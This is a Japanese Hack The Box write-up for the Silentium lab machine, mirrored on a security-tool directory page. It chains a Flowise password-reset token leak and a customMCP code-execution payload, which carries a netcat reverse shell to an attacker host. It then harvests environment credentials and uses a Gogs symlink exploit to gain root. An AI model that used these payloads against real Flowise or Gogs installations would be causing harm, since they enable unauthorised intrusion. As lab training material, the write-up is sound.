Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
HTB-Silentium-Writeup — Hack The Box - Silentium マシンのwriteup | CVE-2025-58434, CVE-2025-59528, CVE-2025-8110 | Kitploit
ツール/GitHubGitHub/twappz/htb-silentium-writeup
特権昇格脆弱性分析エクスプロイト情報収集ウェブセキュリティCTFペネトレーションテスト学習と教育コンテナエスケープ
GitHubtwappz/htb-silentium-writeup

HTB-Silentium-Writeup

Hack The Box - Silentium マシンのwriteup | CVE-2025-58434, CVE-2025-59528, CVE-2025-8110

14ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

HTB - Silentium 攻略記

Hack The Box Difficulty OS

マシン情報

  • 名前: Silentium
  • OS: Linux
  • 難易度: Easy
  • CVE: CVE-2025-58434, CVE-2025-59528, CVE-2025-8110

列挙

Nmap スキャン

root@kitploit:~
nmap -sC -sV -p- --min-rate 5000 <IP> -oN nmap.txt

開放ポート: 22 (SSH)、80 (HTTP)

仮想ホストstaging.silentium.htb は Flowise 3.0.5 を実行しています


初期侵入 — Flowise RCE

CVE-2025-58434 — 認証不要のパスワードリセットトークン漏えい

forgot-password エンドポイントは、API レスポンス内に tempToken を直接漏えいします。

root@kitploit:~
curl -s http://staging.silentium.htb/api/v1/account/forgot-password \
  -X POST -H "Content-Type: application/json" \
  -d '{"user":{"email":"[email protected]"}}'

漏えいした tempToken を使用してパスワードをリセットします:

root@kitploit:~
curl -s http://staging.silentium.htb/api/v1/account/reset-password \
  -X POST -H "Content-Type: application/json" \
  -d '{"user":{"email":"[email protected]","tempToken":"<TOKEN>","password":"Hacked123!"}}'

CVE-2025-59528 — CustomMCP 経由の認証済み RCE

ログインして API キーを取得し、RCE を実行します:

root@kitploit:~
curl -s http://staging.silentium.htb/api/v1/node-load-method/customMCP \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <API_KEY>" \
  -d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(()=>{process.mainModule.require(\"child_process\").exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <LHOST> 443 >/tmp/f\");return 1;})()})"}}'

Docker コンテナ内で root としてシェルを取得しました。


コンテナからの脱出

環境変数を確認しました:

root@kitploit:~
env

認証情報が見つかりました:

  • FLOWISE_USERNAME=ben
  • FLOWISE_PASSWORD=F1l3_d0ck3r

SSH でホストに接続します:

root@kitploit:~
ssh ben@<IP>

権限昇格 — Gogs CVE-2025-8110

Gogs が内部のポート 3001 で root として実行されています。

SSH トンネルを設定します:

root@kitploit:~
ssh -L 8080:127.0.0.1:3001 ben@<IP>

http://127.0.0.1:8080 経由で Gogs にアカウントを登録し、API トークンを生成しました。

CVE-2025-8110 — PutContents API のシンボリックリンクバイパス

TYehan のエクスプロイト を使用しました:

root@kitploit:~
python3 exploit.py \
  --url http://127.0.0.1:8080 \
  --username <user> \
  --password <pass> \
  --token <token> \
  --host <LHOST> \
  --port 4446

root シェルを取得しました! 🎉


フラグ

  • ユーザーフラグ: /home/ben/user.txt
  • ルートフラグ: /root/root.txt

使用ツール

  • nmap
  • curl
  • ffuf
  • netcat
  • Python3

参考リンク

  • CVE-2025-58434
  • CVE-2025-59528
  • CVE-2025-8110

/etc/hosts に追加:

ツールをダウンロード